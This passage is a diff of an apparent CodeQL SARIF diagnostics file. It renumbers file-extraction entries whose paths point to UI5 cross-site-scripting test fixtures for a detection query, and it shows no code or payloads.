+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 205
             }
@@ -8421,7 +8421,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8433,7 +8433,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 206
             }
@@ -8447,7 +8447,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8459,7 +8459,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 207
             }
@@ -8473,7 +8473,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8485,7 +8485,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 208
             }
@@ -8499,7 +8499,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8511,7 +8511,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 209
             }
@@ -8525,7 +8525,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8537,7 +8537,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 210
             }
@@ -8551,7 +8551,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8563,7 +8563,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 211
             }
@@ -8577,7 +8577,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8589,7 +8589,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 212
             }
@@ -8603,7 +8603,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8615,7 +8615,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 213
             }
@@ -8629,7 +8629,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8641,7 +8641,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 214
             }
@@ -8655,7 +8655,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8667,7 +8667,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 215
             }
@@ -8681,7 +8681,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8693,7 +8693,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 216
             }
@@ -8707,7 +8707,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8719,7 +8719,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 217
             }
@@ -8733,7 +8733,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8745,7 +8745,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 218
             }
@@ -8759,7 +8759,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8771,7 +8771,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 219
             }
@@ -8785,7 +8785,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8797,7 +8797,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 220
             }
@@ -8811,7 +8811,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8823,7 +8823,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 221
             }
@@ -8837,7 +8837,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8849,7 +8849,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 222
             }
@@ -8863,7 +8863,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8875,7 +8875,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 223
             }
@@ -8889,7 +8889,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8901,7 +8901,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 224
             }
@@ -8915,7 +8915,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8927,7 +8927,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 225
             }
@@ -8941,7 +8941,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8953,7 +8953,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 226
             }
@@ -8967,7 +8967,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -8979,7 +8979,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 227
             }
@@ -8993,7 +8993,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9005,7 +9005,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 228
             }
@@ -9019,7 +9019,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9031,7 +9031,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 229
             }
@@ -9045,7 +9045,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9057,7 +9057,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 230
             }
@@ -9071,7 +9071,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9083,7 +9083,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 231
             }
@@ -9097,7 +9097,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9109,7 +9109,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 232
             }
@@ -9123,7 +9123,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9135,7 +9135,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/model.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 233
             }
@@ -9149,7 +9149,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9161,7 +9161,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 234
             }
@@ -9175,7 +9175,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9187,7 +9187,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 235
             }
@@ -9201,7 +9201,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9213,7 +9213,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 236
             }
@@ -9227,7 +9227,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9239,7 +9239,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 237
             }
@@ -9253,7 +9253,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9265,7 +9265,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 238
             }
@@ -9279,7 +9279,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9291,7 +9291,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 239
             }
@@ -9305,7 +9305,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9317,7 +9317,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 240
             }
@@ -9331,7 +9331,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9343,7 +9343,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 241
             }
@@ -9357,7 +9357,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9369,7 +9369,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 242
             }
@@ -9383,7 +9383,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9395,7 +9395,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 243
             }
@@ -9409,7 +9409,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9421,7 +9421,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 244
             }
@@ -9435,7 +9435,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9447,7 +9447,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 245
             }
@@ -9461,7 +9461,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9473,7 +9473,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 246
             }
@@ -9487,7 +9487,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9499,7 +9499,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 247
             }
@@ -9513,7 +9513,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9525,7 +9525,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 248
             }
@@ -9539,7 +9539,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9551,7 +9551,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xss.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 249
             }
@@ -9565,7 +9565,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9577,7 +9577,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/manifest.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 250
             }
@@ -9591,7 +9591,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9603,7 +9603,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 251
             }
@@ -9617,7 +9617,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9629,7 +9629,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 252
             }
@@ -9643,7 +9643,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9655,7 +9655,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 253
             }
@@ -9669,7 +9669,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9681,7 +9681,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/manifest.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 254
             }
@@ -9695,7 +9695,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9707,7 +9707,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 255
             }
@@ -9721,7 +9721,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9733,7 +9733,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package-lock.json",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 256
             }
@@ -9747,7 +9747,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
         "properties" : {
@@ -9759,7 +9759,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.js",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 257
             }
@@ -9773,7 +9773,7 @@
           "id" : "js/diagnostics/successfully-extracted-files",
           "index" : 1,
           "toolComponent" : {
-            "index" : 2
+            "index" : 3
           }
         },
